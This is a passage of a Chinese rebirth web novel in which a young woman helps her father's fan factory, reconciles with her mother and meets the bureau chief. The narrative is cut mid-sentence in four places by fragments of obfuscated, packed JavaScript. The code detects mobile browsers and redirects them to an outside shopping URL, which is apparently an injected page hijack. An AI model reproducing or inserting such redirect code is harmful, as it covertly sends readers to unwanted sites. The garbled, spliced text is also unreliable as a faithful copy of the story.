“若不是您有远见有魄力，换作旁人，未必敢扛下这份压力。” 魏局长笑着点他，“你小子少给我戴高帽，到底能不能行还不一定呢。” 一个还没出校门、毫无社会实践经验的小姑娘，会是他想找的合适人选吗？ - 夜色沉沉，魏局长夫妻站在门口，看着裴云洲大步下楼，转瞬不见。 他关上门，回头看见门口放着两瓶白酒和两个大西瓜，抬手一指，“这是云洲刚拿来的？” 姜珍丽心里咯噔一下，“坏了，我想等他走的时候让他带回去的，我刚才给忘了，他应该没走远，我去叫他回来。” “等等！” 魏局长随手拿起其中一瓶白酒，看清商标，“算了，留着吧。” 姜珍丽脚步一顿，惊讶回头，“老魏，这可不像你。你不是从来不收礼的么？” 魏局长放下酒，“晚辈给长辈送点东西，不是很正常？我收下怎么了？再说，云洲有分寸，这酒是他们厂产的。西瓜正当季，价格也不贵。” 送礼送得如此妥帖，怎么就不是自家孩子呢？ - 月光盈盈，裴云洲离开家属院，来到街上。 不远处，一点暗红在黑夜里忽明忽暗。 他大步走至车前，只见谭斌一脸幽怨地盯着他。 裴云洲表情疑惑，“怎么了？” 谭斌随手扔掉烟头，抬脚撵灭火星，“你还问我怎么了？不是说上去一会儿就下来吗？你去了整整一个半小时，蚊子差点把我吃了。” 裴云洲被谭斌一嗓子惊住了，他左右看看，拍拍对方胳膊安抚，“你小点声，先上车。” 一句话，谭斌气焰消了一半。 车上，谭斌系上安全带，嘟囔，“你怎么去那么久？” 不到八点上去的，现在都快九点半了。 裴云洲随口道，“魏叔有事向我取经，我总不能推辞，就多留了一会儿。再说，我本来要自己来，你非要跟来，来了之后，让你和我一起上去，你又不肯。” 谭斌振振有词，“从小到大，我最烦跟机关里的人打交道，一肚子弯弯绕绕，我实在应付不来。” 裴云洲想到好友在部队大院长大，养成这般直来直去的性子，倒也不足为奇。 他启动车子，向北驶去。 路上，谭斌忍不住问，“哎，你打听清楚了吗？许婉宁到底跟许厂长什么关系？” 裴云洲神色如常，“忘了。” 谭斌立马拿眼瞪他。 在对方开口之前，裴云洲慢悠悠的说，“我要真问了，魏叔要是怀疑我是不是看上她了，给我外公打电话，安排我相亲怎么办？我去还是不去？” “去啊！干嘛不去！”谭斌激动了，满眼恨铁不成钢！ 他掰着手指头夸赞，“婉宁不仅人长得漂亮，身材高挑，气场足，人还特别机灵。” “我都不敢想，你们俩站一块儿多般配，以后有了孩子，指不定多聪明呢！” 这反应不对啊。 裴云洲握紧方向盘，状似无意的问，“你不是喜欢她么？我再如何，也不至于跟好兄弟抢对象吧？” “谁说我喜欢她了！”谭斌毫不犹豫地反驳。 然后他想到什么，瞪大眼睛看着他，“云洲，你该不会是吃醋了吧？你是不是早知道她身份了，快说！” 裴云洲嘴角染上一抹笑意，“真想知道？” 谭斌忙不迭地点头，“特别真，你别卖关子了，赶紧说吧。” 裴云洲轻声说，“她是许厂长的女儿。”也是一名非常优秀的在校大学生。 “我就知道！”谭斌双手交握，喃喃自语，“怪不得今天下午我看许厂长有些眼熟呢。” 原来是许婉宁亲爸啊！女儿像爸，古人诚不欺我！ 裴云洲不想听他继续唠叨，索性转移话题，“对了，明天你跟我去火车站接人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470284|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 接人？ 谭斌反应过来，“咱们托人请的工程师到了？” 裴云洲颔首，“预计明天上午八点半到站，你早点起。” “我回去就定闹钟！” - 晚上九点半，许晚柠洗漱过后，准备睡了。 这时敲门声响起，门外传来熟悉的声音，“柠柠，睡了吗？” “还没。” 许晚柠连忙应了一声，过去开门，“爸，怎么了？” 许国盛手里拿着一个小螺丝刀，站在门口，“吃晚饭的时候，你不是说今天早上闹钟没响？我过来拆开看看。” 许晚柠赶紧让开位置，让父亲进来。 许国盛边走边说，“这小螺丝刀，我在工具箱里翻了半天都没找到，最后还是你妈在抽屉里找到的。” 许晚柠没吭声，她打开书桌上的台灯，拉开椅子，“爸，您坐。” “还是我闺女贴心。” 许国盛坐在椅子上，拿起闹钟翻转过来，直接用螺丝刀拧开后盖上的螺丝。 他拆开之后，很快发现问题，“原来是接触片歪了。” 许国盛很快修理好，重新装回螺丝恢复原样，放到桌上。 他抬头看向女儿，“今晚你再定个闹钟，看看明天早上响不响。如果还是不响，爸去供销社给你买个新的。” 许晚柠心里一片柔软，“好，谢谢爸。” “跟爸客气啥！” 许国盛忍不住摸摸女儿的头，随即想到什么，他斟酌再三，开口询问，“你这两天是不是生你妈气了？” 许晚柠神色一怔，一时不知道该怎么回答。 一看女儿表情，许国盛就知道他猜对了，他心里叹了口气，语重心长的说，“你妈她有口无心，就算说你两句，也是为你好，你别怪她。” 有口无心，为她好？ 这一瞬间，她想到上辈子母亲对她说过的话，做过的事，好像都是以‘为她好’的名义。 可她真的好么？她哪次不是被她伤得体无完肤？ 许晚柠闭了闭眼，突然问道，“爸，如果我妈以‘为我好’的名义，逼着我做我不喜欢的事，我也不能生气吗？” 许国盛一愣，闺女这反应有点不对劲啊，“她到底哪惹你了？你告诉爸，回头爸说她！” “我十岁那年，我明确表示我不喜欢红色，她非要给我买红色衣服，说过年穿红色喜庆。” 有这回事吗？一时之间，许国盛实在想不起来。 “等上了高中，我物理、化学学不进去，相比之下，我更喜欢政治和历史。我想学文科，我妈非说学好数理化，走遍天下都不怕，让我学理。” 这个他知道，“后来你想报市场营销这个新专业，我们也没拦着你啊。” “是没拦着，爸，你知道吗？市场营销专业，文理兼招，如果我学文，我不止考那点分数。” “是是是，我闺女上初中的时候，政治和历史就很强！” 说完之后，许国盛糊涂了，“这不都是以前的事吗？怎么突然翻起旧账来了？” 许晚柠有口难言，她总不能把上辈子的事说给父亲听吧？ “她掌控欲这么强，难保她以后还以对我好的名义，试图操控我的人生。我一想到这，心里就难受。” 这话半真半假，但许晚柠确实有这方面的担心，虽然她多活了一世，多了二十年的阅历，完全可以不听她的，但有唯一绕不过去的一点。 赵秋红是她的母亲。 不论如何，她不能做的太过分。所以她需要一个盟友，在她反抗的时候，坚定的站在她身边，护着她。 果然，许国盛看到女儿红着眼睛诉说不平，心就软了几分。 他柔声说，“不会，有爸在呢，你别怕啊。再说，都没影的事，你别瞎想。” 许晚柠可怜巴巴地看着他，“如果我妈让我去做我不喜欢做的事，比如安排我相亲，想让我早点结婚生子之类的。” “爸，你会一直站在我这边吗？” “我会。”许国盛语气坚定的回答。 19. 火车站接人！ “别想太多，睡吧。” 许国盛关掉卧室灯，轻轻带上门，抬头看到主卧门口有个人影一闪而过。 他叹了口气，去卫生间洗手，回到卧室。 妻子背对着他躺在床上，许国盛想说点什么，却不知从何说起，只好试探性叫了她一声，“秋红？” “干嘛？这都几点了，赶紧关灯睡觉！”赵秋红的嗓音有点沙哑，语气不耐。 许国盛想了想，关掉床头灯，躺下休息。 屋内瞬间陷入黑暗。 床的另一边，赵秋红翻来覆去，毫无睡意。 许国盛睁开眼，偏头问道，“睡不着？” 没有得到回应，就在他歇了谈心的念头，准备继续睡时，赵秋红开口了。 “没良心的臭丫头，她居然这么看我，觉得我控制欲强？” 她无声流泪，“她十岁那年，改革开放还没几年，红色布料做的衣服多抢手啊，我特意让熟人帮我留的货。” “大过年的，红色衣服穿在身上多喜庆、多好看，家属院谁见了不夸？她居然不喜欢？我小时候做梦都想要一件，可是家里穷，根本买不起。” “就连跟你结婚那天，我穿的那件红色外套，都是借的我大嫂的。” 许国盛张张嘴，想开口安慰下妻子，却发现说什么都是徒劳，只好闭嘴不言，做一个合格的听众。 赵秋红吸了吸鼻子，“还有她高二那年，文理分科，我问了多少人，大家都说理科好，比文科好就业，就连你也赞同女儿学理吧？怎么现在全怪我一人身上了？” 许国盛一听这话，忍不住反驳，“我什么时候坚持让女儿学理了？我当时明明说的是，柠柠想学什么就学什么。” 赵秋红当没听见，继续说，“她居然还担心我以后会安排她相亲，催她结婚生子？我吃饱了撑的，干这种出力不讨好的事，她爱结不结！” 许国盛听完心头一跳，妻子这是真伤心了，他赶紧安慰几句，“好了，你就别说气话了，她还有一年毕业，身边同学没准有打算毕业就结婚的，她担心也在情理之中。” “她不想这么早结婚生孩子，咱们就顺其自然，少操点心不就行了。” 他轻轻拍了拍妻子胳膊，“好了，别想了，早点睡吧啊。” 赵秋红越想越觉得委屈，躺在床上翻来覆去，半宿都没合眼。 第二天，她吃过早饭，肿着一双微红的眼睛，在女儿卧室门口站了片刻，随后出门上班。 许晚柠一觉睡到早上九点，闹钟准时响起。 她关掉闹钟起床，先去卫生间洗漱，随后准备回卧室换衣服出门。 回屋之前，她鬼使神差地去了一趟厨房。 她看着温在锅里的饭菜，愣了好久。 昨晚，许晚柠从一开始就知道母亲站在门外偷听，她对父亲说的那些话，何尝不是说给她听的？ 当然，她心里很清楚，母亲还没有对她做过那些过分的事，可那些伤痛真真切切困扰了她十几年，至今都不能释怀，又叫她如何原谅？ 她原以为冷着些，就这么不咸不淡的处着，等她正式工作，搬出去就好了。 很显然，她母亲不这么想。 她用指尖碰了碰温热的馒头，心中怅然，是时候做个决定了。 这般犹犹豫豫，可不像她。 - “车怎么还没到？” 保城火车站出站口，谭斌打了个哈欠，整个人无精打采的。 裴云洲抬手看了眼腕表，八点四十，“估计晚点了。” 谭斌揉了把脸，“我早饭都没吃。” 裴云洲瞥他一眼，“谁叫你赖床不起的。” 他从七点开始叫他起床，谭斌七点半才起来，等他洗漱完换好衣服，出门时都快八点了。 幸好火车站离得近，他们到时火车还没到站，不然他们该失礼了。 等人时无聊，谭斌轻轻撞了一下好友胳膊，“哎，你找的这个工程师靠不靠谱啊？” 大老远从哈市请过来，又搭人情又托关系的，可别到最后修不了。 裴云洲简单介绍对方履历，“梁工扎根一线三十余年，别说岛国生产的饮料、罐装设备，就连德系、东欧的全自动生产线都上手过。如果他修不了，估计国内没人会修。” “这么厉害？” 裴云洲颔首，“很厉害。” 谭斌还想问什么，忽然听到火车站广播到站提醒。 “各位旅客、接亲友的同志请注意：由哈市开来的列车，现已到达保城站…” 裴云洲神色微凝，目光紧紧盯着出站口。 谭斌见状也跟着紧张起来，出站口陆陆续续有人出来，他连忙问，“云洲，他长什么样？穿什么衣服，有什么明显特征？” 没有照片，没准人走过去了，他们都不知道。 裴云洲想起外公话里的遗憾，“他腿脚不大好。说是十几年前，他参与抢修，不小心摔断了腿，自那以后右腿落下了毛病。” 啊？怪不得这位梁工技术这么好，这些年却没出过省呢？原来是身体无法适应长途劳顿。 就这，裴云洲外公还能托关系请对方过来，厉害啊。 “来了！” 梁工和他徒弟一出站，裴云洲便认了出来。 一老一少的组合，皆穿着长袖长裤，年轻同志左手拎包，右手扶着长辈胳膊。年长的那位左腿站直，右腿微微曲着，实在太好认了。 他拍了一下好友胳膊，率先迈开长腿赶了过去。 “等等我！”谭斌连忙大步追上。 出站口，小徒弟扶着师父胳膊，一说话满口东北大碴子味，“师父，您腿没啥事吧？” 梁工抬手轻轻捶了捶有些浮肿的右腿，“能有啥事，利索着呢！” 小徒弟一听，心下稍安，忍不住东张西望，“接咱们的人搁哪呢？” 梁工轻吐一句，“不知道，电话里只说到了有人来接。” 就在这时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470285|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，裴云洲赶了过来，“您是梁满仓梁工吧？” 梁工腰背微微挺直，“对，我是梁满仓，你是？” 裴云洲笑着和对方握手，“我叫裴云洲，您叫我小裴，云洲都行。这次劳您大老远跑一趟，万分感谢。” 梁工摆手，“客气啥，现在交通这么方便，你们还给我们安排的卧铺，不碍事。设备在哪？什么时候去看？” 裴云洲眼中笑意加深，“梁工，您跟这位同志一路舟车劳顿，咱们先回招待所休整一下，中午给您二位接风。下午咱们再去厂里看设备。” 安排得挺好，梁工点头，“车在哪？” “这边车不让开进来，我车停在西边广场，走过去大概要一两分钟。” 裴云洲注意到梁工似是身体不适，询问，“您腿没事吧？” 梁工轻轻拍了拍，“没事，咱们走吧。” 路上，谭斌抓紧时间自我介绍，很快跟梁工的小徒弟田亮聊得热火朝天。 “谭哥，你们保城可真热！”车上，田亮撸起袖子，抬手扇风。 谭斌在副驾驶上回过头，看着田亮微红的小脸，笑着说，“我们这边确实热，跟哈市肯定比不了，你们带短袖了吗？没有等会到了招待所，我给你和梁工找两件工服。” “带了带了。” 裴云洲不动声色地调低空调温度，“梁工，您和田师傅中午吃过饭好好睡一觉，下午五六点咱们再去看设备？” 梁工颔首，“可以。” 一旁的田亮听到裴云洲称呼他田师傅，尴尬的挠头，“裴哥，您叫我名字或者小田就成，我还没出师呢。” “好！” 简单寒暄过后，车里一时沉默下来。 梁工心中一动，开口询问，“小裴，姚教授身体还好吧？” 听对方提及外公身体，裴云洲笑容深了几分，“劳您记挂，我外公身体康健，一切都好。” “那就好！”原来小裴就是姚教授的外孙，听说现在要去的啤酒厂是被他买下的，真是年轻有为啊。 “您认识我外公？”裴云洲诧异，他没听外公提及过。 梁工摆手，“有过一面之缘，只不过姚教授应该不记得我了。” 谭斌刷地扭过头，眼里满是好奇，“梁工，您跟姚外公怎么认识的？” 梁工眼中满是追忆，“十七年前，哈市电机厂的设备出现故障，姚教授曾受厂里邀请，前去做技术指导。” “姚教授不仅帮我们攻克技术难题，恢复生产，还教会我们不少技术和实用经验。我当时就在电机厂工作，跟着姚教授学了不少东西，受益匪浅啊。” 谭斌恍然，怪不得梁工腿脚不便，还愿意千里迢迢跑过来帮忙，原来是有香火情啊！ 转眼间，京源啤酒厂招待所到了。 哦不，现在不叫啤酒厂，已经改名为京源饮品有限公司。 车停在招待所门口。 “梁工，我们到了。” “好！” 20. 你怎么又来了！ “柠柠，你咋了，怎么魂不守舍的？” 许二嫂站在水泥台前，吭哧吭哧地洗床单，还不忘招呼一旁的小姑子。 “二嫂，我没事。”许晚柠回了一句，看着旁边撅着屁股玩土的小侄子，心里一片柔软。 许二嫂大力揉搓几下，直起身来，用拳头轻捶两下腰，“没事就好，你要有啥烦心事，可以跟我说说，我保证不跟你二哥提。” 许晚柠眼底都是笑意，“真没事，只是忽然间，想通了一些事儿。” 上辈子赵秋红为什么不同意她离婚，离婚之后又想让她相亲再找？父亲曾说，是这座城市困住了她，时代变了，母亲一直停留在原地没有变。 她思想老旧，固执的认为，婆婆挑剔，做儿媳的忍忍就好了，因为她也是这么过来的。 后来她离婚，也不过二十五岁，还很年轻。赵秋红认为她一个女孩子就该找个男人依靠，而不是独自去大城市闯荡。 不安分，心气高，娇生惯养，跑那么远的地方，一年到头见不到人，不孝顺。 这些都是母亲控诉她时，说过的话，哪怕心里告诉自己，不要在意，可她一刻都不曾忘记。 话说回来，到底什么改变了母亲，让她变得偏执、歇斯底里？ 许晚柠暂时想到一点。 在风扇厂倒闭之后，赵秋红所在的棉纺厂也面临破产清算，半年后，母亲直接下岗，专心带孙子。 她没有工作，整天带着阳阳和邻居们东家长西家短，思维固化，若有人从中挑唆，她很容易情绪上头，言行偏激，不顾后果。 综上，她想要杜绝这一切，避免母亲重走上辈子的老路，只要让她一直工作就好了。 在明年母亲失业之前，她必须给她安排好后路。另外，她还得寻摸几位思想新潮的优秀女性，给母亲洗脑，咳，不对，是进行思想引导，逐渐改变其认知。 如今，时代变了，她怎么能不跟着变，她必须变！ 至于现在，她目前做不到跟母亲亲密无间，那就不做。不过她也没必要因为上辈子的事，一直迁怒这辈子的母亲，这对她来说不公平。 日常相处可以恢复如初，就当她接受母亲示好。 困扰她两三日的难题有解，萦绕在她眉间的愁绪散了个干净。 许晚柠神情一松，注意到许二嫂正在柠床单，连忙起身，“二嫂，我来帮你。” 她拧开水龙头洗了洗手，攥住床单另一边，使劲拧。 许二嫂瞧小姑子一脸认真的模样，噗嗤一声笑出声，“谢谢你啊，柠柠。” 要是许兆康坐她旁边，除非她叫，否则他绝不会主动过来帮忙。 人比人气死人啊。 许晚柠帮二嫂晾上床单，随后走到一旁蹲下来跟阳阳说话。 “阳阳，叫姑姑。” 阳阳抬头，盯着她看了一会儿，小手一指，“这是姑姑！” “对了，我是姑姑，妈妈在干什么？” 阳阳指指许二嫂，“洗衣服！” “对了，阳阳真棒！”许晚柠在小侄子脑门上亲了一口。 许二嫂见柠柠这么喜欢她儿子，眼里都是笑意，开玩笑似的说，“这么喜欢小孩，早点结婚自己生一个。” 结婚生孩子？ 许晚柠摇头，“我不急，我还年轻，目前没这个打算。” 三十岁之前，她没打算结婚，搞事业不香吗？ 上辈子，她在深市拼搏十几年，懂得一个道理。 任何人或事，都有可能背叛她，但钱不会。 只是她还没想好从哪开始，毕竟她还没毕业，手里也没资金，想干点什么都捉襟见肘。 算了，想那么多干嘛，先帮父亲度过难关要紧。 中午，许晚柠在二嫂家吃的饭，饭后她看时间还早，陪二嫂和阳阳躺在床上小睡了一会儿。 下午两点多，许晚柠醒来，见二嫂和小侄子睡得正香，小心翼翼的起身。 她刚下床，许二嫂就醒了。 许晚柠连忙用手比划，让二嫂继续睡，她则轻手轻脚地带上门，下楼。 - “咚咚咚！”敲门声响起。 “请进！” 许晚柠推开门，一脸笑意地站在门口。 “爸！” 许国盛现在看到女儿就头疼，“你怎么又来了？我昨天晚上不是跟你说了，今天局里要是没通知，我明天去局里看看。” 许晚柠关上门，一派坦然，“爸，您想哪去了？我可不是来催您的，我顺路过来看看您。” 还顺路过来？顺哪的路？ 许国盛一脸不信，“说吧，你今天来，想干什么？” 许晚柠坐到父亲对面，说得那叫个理直气壮，“我当然是帮您排忧解难来了！” 在父亲开口责备之前，她连忙抬手止住，快速说道，“爸！我真不是因为营销计划来的，我找您有事！” 这才对嘛，许国盛给了女儿一记警告的眼神，“有啥事赶紧说，爸爸还要工作。” 许晚柠见父亲一脸嫌弃，险些翻了白眼，她这都是为了谁啊！ 不过好在她知道自己干嘛来了，很快调整好情绪，一本正经的说，“爸，您不会以为一个营销计划就能解了厂里的困境吧。” 她从包里掏出笔记本，翻开写满字的那一页递给他，“我大概估算了一下，如果局里同意营销计划，库房里一万五千多台风扇全部清空。按照老款85折，新款95折的优惠力度，货款能收回来一百八十万左右。” “对了，我还没算上增值税，以及一部分以旧换新的额外折扣。要都算在里面，估计还剩一百六十多万。” “清库存收回来的货款，主要是为了给工人们发工资。从今年2月到6月，一共5个月，厂里都是发的半个月工资，所欠工资合计40万左右，再加上7月一整月的工资，加班费、奖金、社保等等，6个月加起来最少要60万。” “还剩下一百万能干什么？是能填了银行的窟窿，还是能付清材料商的欠款？” “只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470286|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百货大楼和供销社这两家经销商不给咱们结货款，咱们厂早晚还会陷入困境，到时候，还会有一屋子的库存，等咱们卖了发工资吗？” 不会！所以他们必须从现在开始行动。 许国盛盯着笔记本上的数字，沉默不语。 良久，他缓缓开口，“你想怎么做？” “我想做的多了，关键局里给不给批，厂里能不能落实下去？” 许晚柠实在烦死国企冗杂繁琐的制度了，干什么都要打申请、走流程，万一局里批不下来，到头来一切白费。 许国盛双手交握，“你说说看。” 许晚柠伸出一根手指，“营销计划只是第一步，虽然还没有迈出去，但我们不能只盯着它不放。万一局里不通过呢，方案可能还要做修改，改到局里觉得稳妥为止。哪怕最后以经销商为主，我们厂打配合，这个活动我们也一定要坚持做。” “另外，从现在开始，我们需要从多方面入手。第一，改进、创新技术，荷花牌的风扇为什么卖的好，其中有百货大楼和供销社在力推的因素，还有不可忽视的一点。” “荷花牌风扇比咱们厂最新款的电扇技术更先进，它的噪音更小，外观设计更美观。所以我们也要加快技术革新，外观也要请专业人员来设计。” 许国盛颔首，“你想的角度不错，其实厂里技术科一直在改进技术。” 许晚柠伸出手指，晃了晃，“不够，我问过刘叔，技术科有技术方面的革新，会有现金奖励。这些年最高的一次是一千块钱，一般也就两三百，四五百都算给的多的。” “算下来也就半个月，最多一个月的工资，大家能有什么动力？可如果我们提高奖金最大额度，比如重大技术革新，奖一万，您猜能不能把大家的积极性调动起来。” 一万！ 许国盛惊住了，“你可真敢想！” 许晚柠坦然，“那有什么不敢的？自从改革开放以来，只要敢干肯干的个体户，有多少人通过努力成了万元户？” “以前咱们厂工人一个月几十、几百块钱工资，就足够大家羡慕的。现在呢，咱们嘴上说着瞧不起个体户，可瞧着人家日子越过越红火，哪个心里不是酸溜溜的。” “有一万块钱在前面吊着，咱们技术科的人才还不跟打了鸡血似的干？” 许国盛眉头紧锁，“你说得轻巧，想申请这么一大笔奖金，局里要是不同意，咱们根本没法落实。” “而且大家都知道电扇这个东西没什么技术难点，再如何革新换代，也不可能一次性奖励技术员一万块钱。” 许晚柠挑眉，“谁说的？简单的技术例如降低噪音，加大风量，让电扇更省电这些，局里确实不可能同意，可如果是研发电机呢？” 在父亲震惊的目光中，她神色郑重，“爸，咱们厂的电机一直向外采购，占采购材料中的大头，如果咱们厂实现电机自产，是不是能省下一大笔钱？” “难道咱们不应该成立一个电机小组，研发属于华荣厂自己的电机吗？” 21. 和局长对答 研发电机？ 许国盛被女儿提出的新思路惊住了，半晌才回过神。 他思索片刻，好像也不是不行？ 许晚柠见父亲有所动容，眼含笑意，“怎么样？这主意不错吧？” 许国盛表情严肃，“这事我得好好想想，你先别漏了风声。” 许晚柠点头，在事没成之前，她肯定不会出去乱说。 只是她个人比较擅长营销策划、市场布局，对于技术方面实在爱莫能助，具体如何推进，到底能不能落实下去，就要看父亲有没有魄力了。 许国盛从沉思中抽离，见女儿一脸闲适，忍不住问道，“你刚才不是说改进技术是第一点，第二点呢？有没有不用打申请，现在就能拍板做的？” 闺女之前写的营销计划，局里还没给出意见。现在又提出想要研发电机的思路，这也要跟局里申请报备，没有一件他能直接拍板落实的。 许晚柠瞪大眼睛，“爸，以您的能力，只要您能拍板的，您早做了，还用得着我提醒吗？” 说的也是，许国盛苦笑，他这算不算疾病乱投医？ 许晚柠见父亲神色黯淡，忍不住开口，“至于您说的第二点，我这边确实有点想法，不过需要等营销计划落地之后，不然现在说了也没用。” 巧妇难为无米之炊，没有资金支持，一切只是空谈。 许国盛佯怒，“还跟我卖起关子来了，你先跟爸透个底，爸给你参谋参谋。” 许晚柠看向手表，“哎呀，这都三点了，爸我这边还有点事，就先走了啊，您忙。” 她一边说一边起身，准备开溜。 许国盛眼里都是笑意，“这臭丫头！你给我回来！” 许晚柠当没听见，快步走到门口，忽然想起什么，又转身回来，朝父亲尴尬一笑，同时快速伸手拿回自己的笔记本。 许国盛简直哭笑不得，刚想说点什么，电话突然响起，在接之前，他跟女儿打手势，催她离开。 许晚柠秒懂，快步往外走，刚握上门把手，她听到父亲说的话，脚下猛然一滞，倏地回过头。 许国盛接通电话，“罗秘书，局长要见？好好好，麻烦你告诉魏局长，我们一定准时到。” 挂断电话后，许国盛神情复杂地看向女儿，在对方期待的目光中，他轻叹一口气，“柠柠，局长要见你。” “见我？”许晚柠诧异，见她干啥？ 许国盛抬手看了眼时间，“你先跟我走，有什么事，路上说。” “好！” - 下午四点，轻工局门口。 许国盛刚走进大厅，突然回头问落后一步的女儿，“柠柠，你怕吗？” 许晚柠这次真没忍住，她翻了个白眼，“爸，您现在问，是不是晚了点？” 她人都到局里了，难道还能打道回府啊？ 许国盛一脸尴尬，他这不是刚想起来吗？ “走吧。” 父女俩很快来到局长办公室门口。 门开着，罗秘书见许国盛过来，站起来打招呼，“许厂长，您好。” 他看了一眼许晚柠，“这位就是小许同志吧？” 许国盛连忙介绍，“对，她就是我的女儿许晚柠。” 许晚柠落落大方的打招呼，“罗秘书，你好。” 罗秘书含笑点头，转身过去敲门，“局长，许厂长和小许同志来了。” “请他们进来吧。” 罗秘书抬手示意他们直接进去。 父女俩朝罗秘书点点头，迈步进入办公室。 魏局长抬头看见两人，合上文件，站起来寒暄，“来得挺快。” 许国盛笑着上前，跟局长握手，“我接到罗秘书电话，就赶紧过来了。” 魏局长没说什么，不过看表情就知道很满意。 “来，都过来坐吧。” 魏局长绕过办公桌，在沙发主位坐下。 许国盛带着女儿在对面相继落座。 罗秘书进来给客人送上茶水，悄无声息的离开。 魏局长抬手，“老许，你都来多少次了，怎么还这么拘谨，喝茶。” “是是是。”许国盛端起茶杯，抿了一口。 许晚柠见状，也拿起茶杯，尝了尝味道。 嗯，上好的毛尖，味道不错。 魏局长瞧见许晚柠满足的小表情，不禁问道，“怎么样，小许同志，这茶味道还可以吧？” 许晚柠连忙放下茶杯，正襟危坐，“味道很好，谢谢局长款待。” 魏局长眼里都是笑意，抬手指着许晚柠，朝许国盛说，“瞧瞧，你女儿简直跟你一个模子里出来的。” 看上去老实巴交的，一点也不像能写出那份计划书的人。 许国盛此时比单独见局长还要紧张，他擦擦额头上的虚汗，“让您见笑了，柠柠平时在家闹得欢，今天倒是老实了。” 魏局长挑眉，“哦？原来是你在这，拘着她了？这样，你先出去跟小罗坐会，我跟小许同志单独说几句。” 这？许国盛看向女儿，她能行吗？ 许晚柠点点头，“爸，您先出去吧，我可以。” 许国盛心里更担忧了，可局长的话他又不敢不听，走之前他拍了拍女儿的肩。 许晚柠抬头，果然收到父亲一记警告的眼神。 哎，不就是担心她说错话吗？魏局长是父亲的顶头上司，为了父亲的前途，她肯定会收着点的。 她在职场混了这么多年，可不是白混的。 不过，父亲在的时候还好，他一走，许晚柠瞬间有点紧张了。 魏局长见状，笑容温和，“小许同志，听你爸说，你还在省城上大学，今年多大了？” 许晚柠模样乖巧，“我今年20岁。” 这么年轻？“上学早？” 许晚柠点头，“我爸妈都有工作，家人没人看我，上学早了点。” 魏局长感慨，“17岁能考上省城大学，你很优秀。”同是十七岁，她家薇薇连高中都没考上，还是他托关系送进了师范中专。 许晚柠腼腆一笑。 魏局长见她拘谨，索性说起正事，“你昨天交上来的计划书，局里反应很大。” 见小姑娘眼睛刷地亮了，跟刚才的状态完全不一样，魏局长心里有些好笑，索性直言，“局里大部分领导认为，营销计划太过理想化，风险高，不建议做这个活动，你怎么看？” 许晚柠想了想，“您想听实话还是假话？” 一句话把魏局长逗乐了，“先听假话。” 他倒要听听看，她准备拿假话怎么糊弄他。 许晚柠一本正经的回答，“我认为领导们考虑得很对，任何人在面对从来没做过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470287|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情之前，都会有顾虑，这是人之常情。” 说到这，她顿了顿，小心翼翼地抬眼看去。 魏局长面上看不出半分喜怒，“你继续说。” 许晚柠轻咳一声，缓缓说道，“对于局里的批评意见，我虚心接受，既然局里认为风险高，我们可以适当降低风险，简而言之，计划我可以改，改到局里满意为止。” “这是假话？” 许晚柠心情忐忑的点头，这番话在她看来，确实挺违心的，计划在交给父亲之前，她已经修改了好几遍，跟厂里情况和市场都很适配。如果风险真降到让局里满意的程度，估计这计划也就废了。 高风险意味着高回报，风险都没了，还想要回报，做梦去吧！ 魏局长点点头，“直接说你的真实想法。” 许晚柠点点头，开口之前，她犹豫了一下，小声问道，“局长，如果我说错了话，您不会生气吧？” 魏局长似笑非笑的看着她，“怎么，怕我迁怒你爸？” 许晚柠尴尬了，她是承认还是不承认呢。怎么就直接问出来了，就不能心照不宣吗？ 魏局长没再逗她，直接给她吃了一记定心丸，“你放心，今天你在这说的话，就当是给长辈支招来了，随意一点。” 这话她可不敢当真，不过确实没刚才那么拘谨了。 许晚柠想了片刻，说道，“领导们认为活动过于理想化，倒不如说是不相信计划能成功。其实，这就很矛盾了，因为这件事我们还没有做，怎么能轻易下结论？引用邓同志的一句话，实践是检验真理的唯一标准。” “怕做、不敢做，都不是借口，而发现问题、解决问题，才是我们当下要做的事。” 